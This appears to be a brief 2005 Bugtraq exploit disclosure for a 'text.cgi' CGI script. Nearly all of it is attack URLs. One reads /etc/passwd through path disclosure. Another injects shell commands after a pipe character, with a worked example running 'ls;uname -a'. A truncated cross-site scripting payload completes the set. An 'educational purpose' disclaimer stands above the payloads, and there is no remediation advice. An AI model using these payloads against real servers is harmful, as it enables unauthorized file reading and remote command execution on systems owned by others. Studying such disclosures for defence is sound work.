QUOTE
remote command execution in text.cgi script

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE

1)file showing
http://www.target.com/cgi-bin/text.cgi?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/text.cgi?|command

3)CSS
http://www.target.com/cgi-bin/text.cgi?<...</script>

ex:
http://www.target.com/cgi-bin/text.cgi?|ls;uname -a;

greetz to all magattack memebers



Source: http://seclists.org/lists/bugtraq/2005/Apr/0409.html